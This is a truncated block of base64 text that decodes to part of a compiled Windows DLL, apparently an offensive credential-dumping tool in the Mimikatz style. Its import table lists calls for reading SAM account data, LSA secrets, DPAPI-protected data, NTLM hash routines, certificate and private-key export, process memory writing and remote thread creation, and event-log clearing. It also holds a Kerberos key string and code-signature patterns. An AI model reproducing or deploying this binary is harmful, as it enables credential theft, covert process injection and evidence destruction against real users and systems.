UAlvIFAKzyBQA68gUA1PIFAO7yBQAQ8wUAKvMFAErzBQBc8wUAcvMFAIjzBQCc8wUAIvIFAAryBQDu8QUA1vEFALbxBQCi8QUAwPIFAAAAAADLAENyeXB0UmVsZWFzZUNvbnRleHQAwABDcnlwdEdlbktleQDGAENyeXB0R2V0UHJvdlBhcmFtAMQAQ3J5cHRHZXRIYXNoUGFyYW0AygBDcnlwdEltcG9ydEtleQAAzQBDcnlwdFNldEtleVBhcmFtAAC2AENyeXB0RGVzdHJveUhhc2gAAMwAQ3J5cHRTZXRIYXNoUGFyYW0AyABDcnlwdEhhc2hEYXRhALMAQ3J5cHRDcmVhdGVIYXNoAL8AQ3J5cHRFeHBvcnRLZXkAALQAQ3J5cHREZWNyeXB0AADUAlN5c3RlbUZ1bmN0aW9uMDA3ALkAQ3J5cHREdXBsaWNhdGVLZXkAugBDcnlwdEVuY3J5cHQAALEAQ3J5cHRBY3F1aXJlQ29udGV4dFcAAMUAQ3J5cHRHZXRLZXlQYXJhbQAAsABDcnlwdEFjcXVpcmVDb250ZXh0QQAAtwBDcnlwdERlc3Ryb3lLZXkANgFHZXRMZW5ndGhTaWQAAHYAQ29weVNpZACdAUxzYUNsb3NlAAC9AUxzYU9wZW5Qb2xpY3kAxQFMc2FRdWVyeUluZm9ybWF0aW9uUG9saWN5AIMAQ3JlYXRlV2VsbEtub3duU2lkAAB8AENyZWF0ZVByb2Nlc3NBc1VzZXJXAAB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAG4CUmVnUXVlcnlWYWx1ZUV4VwAAUgJSZWdFbnVtVmFsdWVXAGECUmVnT3BlbktleUV4VwB+AlJlZ1NldFZhbHVlRXhXAABPAlJlZ0VudW1LZXlFeFcAaAJSZWdRdWVyeUluZm9LZXlXAAAwAlJlZ0Nsb3NlS2V5AO0CU3lzdGVtRnVuY3Rpb24wMzIAKQJRdWVyeVNlcnZpY2VTdGF0dXNFeAAA+wFPcGVuU2VydmljZVcAAMkCU3RhcnRTZXJ2aWNlVwBcAENvbnRyb2xTZXJ2aWNlAADaAERlbGV0ZVNlcnZpY2UA+QFPcGVuU0NNYW5hZ2VyVwAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAAGwAQ29udmVydFNpZFRvU3RyaW5nU2lkVwAAwQBDcnlwdEdlblJhbmRvbQAAgAFJc1RleHRVbmljb2RlAFoBR2V0VG9rZW5JbmZvcm1hdGlvbgCRAUxvb2t1cEFjY291bnRTaWRXAPcBT3BlblByb2Nlc3NUb2tlbgAAdABDb252ZXJ0U3RyaW5nU2lkVG9TaWRXAADTAlN5c3RlbUZ1bmN0aW9uMDA2AL4AQ3J5cHRFbnVtUHJvdmlkZXJzVwDHAENyeXB0R2V0VXNlcktleQD2AU9wZW5FdmVudExvZ1cAUwBDbGVhckV2ZW50TG9nVwAAQwFHZXROdW1iZXJPZkV2ZW50TG9nUmVjb3JkcwAAJwJRdWVyeVNlcnZpY2VPYmplY3RTZWN1cml0eQAAQwBCdWlsZFNlY3VyaXR5RGVzY3JpcHRvclcAACABRnJlZVNpZAC/AlNldFNlcnZpY2VPYmplY3RTZWN1cml0eQAAIABBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAAIEAQ3JlYXRlU2VydmljZVcAAOYCU3lzdGVtRnVuY3Rpb24wMjUAzAFMc2FSZXRyaWV2ZVByaXZhdGVEYXRhAADJAUxzYVF1ZXJ5VHJ1c3RlZERvbWFpbkluZm9CeU5hbWUA0gJTeXN0ZW1GdW5jdGlvbjAwNQBXAUdldFNpZFN1YkF1dGhvcml0eQAAWAFHZXRTaWRTdWJBdXRob3JpdHlDb3VudACqAUxzYUVudW1lcmF0ZVRydXN0ZWREb21haW5zRXgAAKsBTHNhRnJlZU1lbW9yeQD8AU9wZW5UaHJlYWRUb2tlbgDfAER1cGxpY2F0ZVRva2VuRXgAAFEAQ2hlY2tUb2tlbk1lbWJlcnNoaXAAAMECU2V0VGhyZWFkVG9rZW4AAIwAQ3JlZEZyZWUAAIkAQ3JlZEVudW1lcmF0ZVcAAEFEVkFQSTMyLmRsbAAA2wBDcnlwdFVucHJvdGVjdERhdGEAAH0AQ3J5cHRCaW5hcnlUb1N0cmluZ1cAAL0AQ3J5cHRQcm90ZWN0RGF0YQAAegBDcnlwdEFjcXVpcmVDZXJ0aWZpY2F0ZVByaXZhdGVLZXkACABDZXJ0QWRkRW5jb2RlZENlcnRpZmljYXRlVG9TdG9yZQAAQABDZXJ0RnJlZUNlcnRpZmljYXRlQ29udGV4dAAALwBDZXJ0RW51bVN5c3RlbVN0b3JlAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAACwAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlABIAQ2VydENsb3NlU3RvcmUAABYBUEZYRXhwb3J0Q2VydFN0b3JlRXgAAGoAQ2VydFNldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5AEsAQ2VydEdldE5hbWVTdHJpbmdXAABXAENlcnRPcGVuU3RvcmUARgBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAQ1JZUFQzMi5kbGwADABNRDVJbml0AA0ATUQ1VXBkYXRlAAsATUQ1RmluYWwAAAUAQ0RMb2NhdGVDU3lzdGVtAAQAQ0RHZW5lcmF0ZVJhbmRvbUJpdHMAAAYAQ0RMb2NhdGVDaGVja1N1bQAAY3J5cHRkbGwuZGxsAAAQAERzR2V0RGNOYW1lVwAAZQBOZXRBcGlCdWZmZXJGcmVlAABORVRBUEkzMi5kbGwAAHEBUnBjQmluZGluZ1NldE9wdGlvbgBfAVJwY0JpbmRpbmdGcm9tU3RyaW5nQmluZGluZ1cAAO4BUnBjU3RyaW5nQmluZGluZ0NvbXBvc2VXAABuAVJwY0JpbmRpbmdTZXRBdXRoSW5mb0V4VwAA8gFScGNTdHJpbmdGcmVlVwAAXQFScGNCaW5kaW5nRnJlZQAAIABJX1JwY0JpbmRpbmdJbnFTZWN1cml0eUNvbnRleHQAAJUATmRyQ2xpZW50Q2FsbDIAAFJQQ1JUNC5kbGwAADoAUGF0aENvbWJpbmVXAAA4AFBhdGhDYW5vbmljYWxpemVXAGUAUGF0aElzUmVsYXRpdmVXAFNITFdBUEkuZGxsABMAU2FtRW51bWVyYXRlVXNlcnNJbkRvbWFpbgAdAFNhbUxvb2t1cE5hbWVzSW5Eb21haW4AAB8AU2FtT3BlbkRvbWFpbgAhAFNhbU9wZW5Vc2VyABwAU2FtTG9va3VwSWRzSW5Eb21haW4AAAcAU2FtQ29ubmVjdAAABgBTYW1DbG9zZUhhbmRsZQAAFABTYW1GcmVlTWVtb3J5ACYAU2FtUXVlcnlJbmZvcm1hdGlvblVzZXIAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAACwAU2FtUmlkVG9TaWQAFQBTYW1HZXRBbGlhc01lbWJlcnNoaXAAGwBTYW1Mb29rdXBEb21haW5JblNhbVNlcnZlcgAAGABTYW1HZXRHcm91cHNGb3JVc2VyAFNBTUxJQi5kbGwAABgARnJlZUNvbnRleHRCdWZmZXIANABRdWVyeUNvbnRleHRBdHRyaWJ1dGVzVwAnAExzYUNvbm5lY3RVbnRydXN0ZWQAKABMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzACYATHNhQ2FsbEF1dGhlbnRpY2F0aW9uUGFja2FnZQAALQBMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACoATHNhRnJlZVJldHVybkJ1ZmZlcgBTZWN1cjMyLmRsbAAGAENvbW1hbmRMaW5lVG9Bcmd2VwAAU0hFTEwzMi5kbGwAwwFJc0NoYXJBbHBoYU51bWVyaWNXAD4BR2V0S2V5Ym9hcmRMYXlvdXQAVVNFUjMyLmRsbAAABQBIaWREX0dldEhpZEd1aWQAAQBIaWREX0ZyZWVQcmVwYXJzZWREYXRhAAAMAEhpZERfR2V0UHJlcGFyc2VkRGF0YQAVAEhpZFBfR2V0Q2FwcwAAAgBIaWREX0dldEF0dHJpYnV0ZXMAAEhJRC5ETEwAPwFTZXR1cERpRGVzdHJveURldmljZUluZm9MaXN0AABDAVNldHVwRGlFbnVtRGV2aWNlSW50ZXJmYWNlcwBWAVNldHVwRGlHZXRDbGFzc0RldnNXAABuAVNldHVwRGlHZXREZXZpY2VJbnRlcmZhY2VEZXRhaWxXAABTRVRVUEFQSS5kbGwAAA0AUnRsRnJlZUFuc2lTdHJpbmcAFwBSdGxVbmljb2RlU3RyaW5nVG9BbnNpU3RyaW5nAAAOAFJ0bEZyZWVVbmljb2RlU3RyaW5nAAAKAFJ0bERvd25jYXNlVW5pY29kZVN0cmluZwAADABSdGxFcXVhbFVuaWNvZGVTdHJpbmcAEwBSdGxJbml0VW5pY29kZVN0cmluZwAAAQBOdFF1ZXJ5T2JqZWN0AAIATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAAAAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MAEABSdGxHZXRDdXJyZW50UGViAAAJAFJ0bENyZWF0ZVVzZXJUaHJlYWQADwBSdGxHVUlERnJvbVN0cmluZwAWAFJ0bFN0cmluZ0Zyb21HVUlEABEAUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAACABSdGxBcHBlbmRVbmljb2RlU3RyaW5nVG9TdHJpbmcAABkAUnRsVXBjYXNlVW5pY29kZVN0cmluZwAABwBSdGxBbnNpU3RyaW5nVG9Vbmljb2RlU3RyaW5nAAADAE50UmVzdW1lUHJvY2VzcwAGAFJ0bEFkanVzdFByaXZpbGVnZQAABQBOdFRlcm1pbmF0ZVByb2Nlc3MAAAQATnRTdXNwZW5kUHJvY2VzcwAACwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsAEQDTG9jYWxBbGxvYwAAJQFGaWxlVGltZVRvU3lzdGVtVGltZQAASANMb2NhbEZyZWUAwANSZWFkRmlsZQAAJQVXcml0ZUZpbGUAjwBDcmVhdGVGaWxlVwCyBFNsZWVwAAICR2V0TGFzdEVycm9yAADBBFRlcm1pbmF0ZVRocmVhZABSAENsb3NlSGFuZGxlALUAQ3JlYXRlVGhyZWFkAADxAUdldEZpbGVTaXplRXgAvwFHZXRDdXJyZW50RGlyZWN0b3J5VwAAVwFGbHVzaEZpbGVCdWZmZXJzAADAAUdldEN1cnJlbnRQcm9jZXNzAOgARHVwbGljYXRlSGFuZGxlAIADT3BlblByb2Nlc3MA3QBEZXZpY2VJb0NvbnRyb2wALgVXcml0ZVByb2Nlc3NNZW1vcnkAAO8EVmlydHVhbFByb3RlY3QAAOwEVmlydHVhbEZyZWUA6QRWaXJ0dWFsQWxsb2MAAGYEU2V0RmlsZVBvaW50ZXIAAPAEVmlydHVhbFByb3RlY3RFeAAA6gRWaXJ0dWFsQWxsb2NFeAAAwwNSZWFkUHJvY2Vzc01lbW9yeQDtBFZpcnR1YWxGcmVlRXgA8QRWaXJ0dWFsUXVlcnkAAPIEVmlydHVhbFF1ZXJ5RXgAANYEVW5tYXBWaWV3T2ZGaWxlAIwAQ3JlYXRlRmlsZU1hcHBpbmdXAABXA01hcFZpZXdPZkZpbGUASwNMb2NhbFJlQWxsb2MAAKgAQ3JlYXRlUHJvY2Vzc1cAAHMEU2V0TGFzdEVycm9yAAD5BFdhaXRGb3JTaW5nbGVPYmplY3QAqQBDcmVhdGVSZW1vdGVUaHJlYWQAACQBRmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUAlwJHZXRUaW1lRm9ybWF0VwAAyAFHZXREYXRlRm9ybWF0VwAAOQFGaW5kRmlyc3RGaWxlVwAARQFGaW5kTmV4dEZpbGVXAC4BRmluZENsb3NlAOoBR2V0RmlsZUF0dHJpYnV0ZXNXAAB5AkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAD8DTG9hZExpYnJhcnlXAABFAkdldFByb2NBZGRyZXNzAABiAUZyZWVMaWJyYXJ5ABgCR2V0TW9kdWxlSGFuZGxlVwAAsgFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAZAJHZXRTdGRIYW5kbGUAACgBRmlsbENvbnNvbGVPdXRwdXRDaGFyYWN0ZXJXAE0EU2V0Q3VycmVudERpcmVjdG9yeVcAADEEU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAAAOA0lzV293NjRQcm9jZXNzAADEAUdldEN1cnJlbnRUaHJlYWQAAMEBR2V0Q3VycmVudFByb2Nlc3NJZACnA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAMUBR2V0Q3VycmVudFRocmVhZElkAADnAkluaXRpYWxpemVTTGlzdEhlYWQAAANJc0RlYnVnZ2VyUHJlc2VudADTBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAApQRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAYwJHZXRTdGFydHVwSW5mb1cABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AMAEVGVybWluYXRlUHJvY2VzcwAAS0VSTkVMMzIuZGxsAADxAlN5c3RlbUZ1bmN0aW9uMDM2ABQCR2V0TW9kdWxlRmlsZU5hbWVXAADuAkludGVybG9ja2VkRmx1c2hTTGlzdADjAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAxQRUbHNBbGxvYwAAxwRUbHNHZXRWYWx1ZQDIBFRsc1NldFZhbHVlAMYEVGxzRnJlZQA+A0xvYWRMaWJyYXJ5RXhXAAAYBFJ0bFVud2luZADuAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA5A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADRAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgCGAUdldENvbW1hbmRMaW5lQQCHAU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